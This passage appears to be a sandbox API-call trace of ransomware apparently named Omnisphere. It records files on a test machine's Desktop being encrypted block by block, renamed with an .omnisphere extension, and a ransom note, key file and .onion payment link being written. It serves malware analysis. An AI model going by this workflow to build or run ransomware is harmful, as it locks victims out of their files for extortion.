Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.224] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.225] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.225] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.225] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.225] CryptDestroyKey (hKey=0x1639968) returned 1 [0164.225] CryptReleaseContext (hProv=0x1668f88, dwFlags=0x0) returned 1 [0164.226] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x26f9, lpNewFilePointer=0x0, dwMoveMethod=0x3e0ebb0 | out: lpNewFilePointer=0x0) returned 1 [0164.226] WriteFile (in: hFile=0x39c, lpBuffer=0x3e0e664*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0ebc4, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesWritten=0x3e0ebc4*=0x524, lpOverlapped=0x0) returned 1 [0164.226] GetProcessHeap () returned 0x1600000 [0164.226] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x27e) returned 0x1774e18 [0164.226] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\kmEU6kl38YnakRMzue-.jpg" (normalized: "c:\\users\\fd1hvy\\desktop\\kmeu6kl38ynakrmzue-.jpg"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\kmEU6kl38YnakRMzue-.jpg.omnisphere" (normalized: "c:\\users\\fd1hvy\\desktop\\kmeu6kl38ynakrmzue-.jpg.omnisphere")) returned 1 [0164.227] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Desktop\\kmEU6kl38YnakRMzue-.jpg.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\kmEU6kl38YnakRMzue-.jpg.omnisphere.id") returned="C:\\Users\\FD1HVy\\Desktop\\kmEU6kl38YnakRMzue-.jpg.omnisphere.id" [0164.227] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\kmEU6kl38YnakRMzue-.jpg.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\desktop\\kmeu6kl38ynakrmzue-.jpg.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0164.228] WriteFile (in: hFile=0x3bc, lpBuffer=0x3e0e664*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e64c, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesWritten=0x3e0e64c*=0x524, lpOverlapped=0x0) returned 1 [0164.228] CloseHandle (hObject=0x3bc) returned 1 [0164.229] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0164.229] CloseHandle (hObject=0x380) returned 1 [0164.229] SetEndOfFile (hFile=0x39c) returned 1 [0164.229] FlushFileBuffers (hFile=0x39c) returned 1 [0164.267] CloseHandle (hObject=0x39c) returned 1 [0164.267] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\Desktop\\kmEU6kl38YnakRMzue-.jpg" | out: pszPath="C:\\Users\\FD1HVy\\Desktop") returned 1 [0164.267] GetProcessHeap () returned 0x1600000 [0164.267] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x17750a0 [0164.267] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0164.267] GetProcessHeap () returned 0x1600000 [0164.268] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1733ab8 [0164.268] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1733ab8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0164.268] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0164.268] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0164.268] GetProcessHeap () returned 0x1600000 [0164.268] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x174f560 [0164.268] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x174f560, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0164.268] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0164.268] GetProcessHeap () returned 0x1600000 [0164.268] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x6e) returned 0x17734c0 [0164.268] PathCombineW (in: pszDest=0x17734c0, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt" [0164.268] GetProcessHeap () returned 0x1600000 [0164.268] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1753af0 [0164.268] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0164.268] WriteFile (in: hFile=0x39c, lpBuffer=0x1753af0*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0ebe4, lpOverlapped=0x0 | out: lpBuffer=0x1753af0*, lpNumberOfBytesWritten=0x3e0ebe4*=0x588, lpOverlapped=0x0) returned 1 [0164.269] CloseHandle (hObject=0x39c) returned 1 [0164.269] GetProcessHeap () returned 0x1600000 [0164.269] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x17750a0 | out: hHeap=0x1600000) returned 1 [0164.269] GetProcessHeap () returned 0x1600000 [0164.269] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x64) returned 0x163a1f0 [0164.269] PathCombineW (in: pszDest=0x163a1f0, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key" [0164.269] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\desktop\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0164.269] WriteFile (in: hFile=0x39c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0ebf8, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0ebf8*=0x5a0, lpOverlapped=0x0) returned 1 [0164.269] CloseHandle (hObject=0x39c) returned 1 [0164.269] GetProcessHeap () returned 0x1600000 [0164.269] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163a1f0 | out: hHeap=0x1600000) returned 1 [0164.270] GetProcessHeap () returned 0x1600000 [0164.270] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x17738f8 | out: hHeap=0x1600000) returned 1 [0164.270] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0ee94 | out: lpFindFileData=0x3e0ee94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2c8124b0, ftCreationTime.dwHighDateTime=0x1d4c663, ftLastAccessTime.dwLowDateTime=0xf5ee6cf0, ftLastAccessTime.dwHighDateTime=0x1d4ce3c, ftLastWriteTime.dwLowDateTime=0xf5ee6cf0, ftLastWriteTime.dwHighDateTime=0x1d4ce3c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xf5, cFileName="KsiH", cAlternateFileName="")) returned 1 [0164.270] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0ee94 | out: lpFindFileData=0x3e0ee94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffc39080, ftCreationTime.dwHighDateTime=0x1d4c6d4, ftLastAccessTime.dwLowDateTime=0x62203bb0, ftLastAccessTime.dwHighDateTime=0x1d4d324, ftLastWriteTime.dwLowDateTime=0x62203bb0, ftLastWriteTime.dwHighDateTime=0x1d4d324, nFileSizeHigh=0x0, nFileSizeLow=0xc30a, dwReserved0=0x0, dwReserved1=0xf5, cFileName="liXGae7sT bG6dkDjhlr.mp4", cAlternateFileName="LIXGAE~1.MP4")) returned 1 [0164.270] GetProcessHeap () returned 0x1600000 [0164.270] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x70) returned 0x1773718 [0164.270] PathCombineW (in: pszDest=0x1773718, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="liXGae7sT bG6dkDjhlr.mp4" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\liXGae7sT bG6dkDjhlr.mp4") returned="C:\\Users\\FD1HVy\\Desktop\\liXGae7sT bG6dkDjhlr.mp4" [0164.270] StrStrW (lpFirst=".omnisphere", lpSrch=".mp4") returned 0x0 [0164.270] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\liXGae7sT bG6dkDjhlr.mp4" (normalized: "c:\\users\\fd1hvy\\desktop\\lixgae7st bg6dkdjhlr.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0164.270] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x3e0ebbc | out: lpFileSize=0x3e0ebbc*=49930) returned 1 [0164.270] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0xbde6, lpNewFilePointer=0x0, dwMoveMethod=0x3e0ebb0 | out: lpNewFilePointer=0x0) returned 1 [0164.271] ReadFile (in: hFile=0x39c, lpBuffer=0x3e0e664, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0ebac, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesRead=0x3e0ebac*=0x524, lpOverlapped=0x0) returned 1 [0164.271] GetTickCount () returned 0x1168ca7 [0164.271] GetTickCount () returned 0x1168ca7 [0164.271] GetTickCount () returned 0x1168ca7 [0164.271] GetTickCount () returned 0x1168ca7 [0164.271] GetTickCount () returned 0x1168ca7 [0164.271] GetTickCount () returned 0x1168ca7 [0164.271] GetTickCount () returned 0x1168ca7 [0164.271] GetTickCount () returned 0x1168ca7 [0164.271] GetTickCount () returned 0x1168ca7 [0164.271] GetTickCount () returned 0x1168ca7 [0164.271] GetTickCount () returned 0x1168ca7 [0164.271] GetTickCount () returned 0x1168ca7 [0164.271] GetTickCount () returned 0x1168ca7 [0164.271] GetTickCount () returned 0x1168ca7 [0164.271] GetTickCount () returned 0x1168ca7 [0164.271] GetTickCount () returned 0x1168ca7 [0164.271] GetTickCount () returned 0x1168ca7 [0164.271] GetTickCount () returned 0x1168ca7 [0164.271] GetTickCount () returned 0x1168ca7 [0164.271] GetTickCount () returned 0x1168ca7 [0164.272] GetTickCount () returned 0x1168ca7 [0164.272] GetTickCount () returned 0x1168ca7 [0164.272] GetTickCount () returned 0x1168ca7 [0164.272] GetTickCount () returned 0x1168ca7 [0164.272] GetTickCount () returned 0x1168ca7 [0164.272] GetTickCount () returned 0x1168ca7 [0164.272] GetTickCount () returned 0x1168ca7 [0164.272] GetTickCount () returned 0x1168ca7 [0164.272] GetTickCount () returned 0x1168ca7 [0164.272] GetTickCount () returned 0x1168ca7 [0164.272] GetTickCount () returned 0x1168ca7 [0164.272] GetTickCount () returned 0x1168ca7 [0164.272] CryptAcquireContextW (in: phProv=0x3e0e644, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0e644*=0x1668570) returned 1 [0164.273] CryptImportKey (in: hProv=0x1668570, pbData=0x3e0e5ac, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e650 | out: phKey=0x3e0e650*=0x1639768) returned 1 [0164.273] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0eafc*, pdwDataLen=0x3e0e640*=0x75, dwBufLen=0x80 | out: pbData=0x3e0eafc*, pdwDataLen=0x3e0e640*=0x80) returned 1 [0164.273] CryptDestroyKey (hKey=0x1639768) returned 1 [0164.273] CryptReleaseContext (hProv=0x1668570, dwFlags=0x0) returned 1 [0164.273] CreateFileMappingW (hFile=0x39c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc30a, lpName=0x0) returned 0x380 [0164.273] MapViewOfFile (hFileMappingObject=0x380, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc30a) returned 0x1480000 [0164.274] CryptAcquireContextW (in: phProv=0x3e0e634, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0e634*=0x1668ac0) returned 1 [0164.274] CryptImportKey (in: hProv=0x1668ac0, pbData=0x3e0e5ec, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e644 | out: phKey=0x3e0e644*=0x1639ae8) returned 1 [0164.274] CryptSetKeyParam (hKey=0x1639ae8, dwParam=0x4, pbData=0x3e0e628*=0x2, dwFlags=0x0) returned 1 [0164.274] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0e630*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0e630*=0x10) returned 1 [0164.274] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.274] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.274] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.275] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.275] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.275] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.275] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.275] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.275] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.275] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.275] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.275] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.275] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.275] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.275] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.275] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.275] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.275] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.275] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.275] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.275] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.275] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.275] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.275] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.276] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.276] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.276] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.276] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.276] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.276] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.276] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.276] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.276] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.276] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.276] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.276] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.276] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.276] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.276] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.276] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.276] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.276] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.276] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.276] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.276] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.277] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.277] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.277] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.277] CryptEncrypt (in: hKey=0x1639ae8, 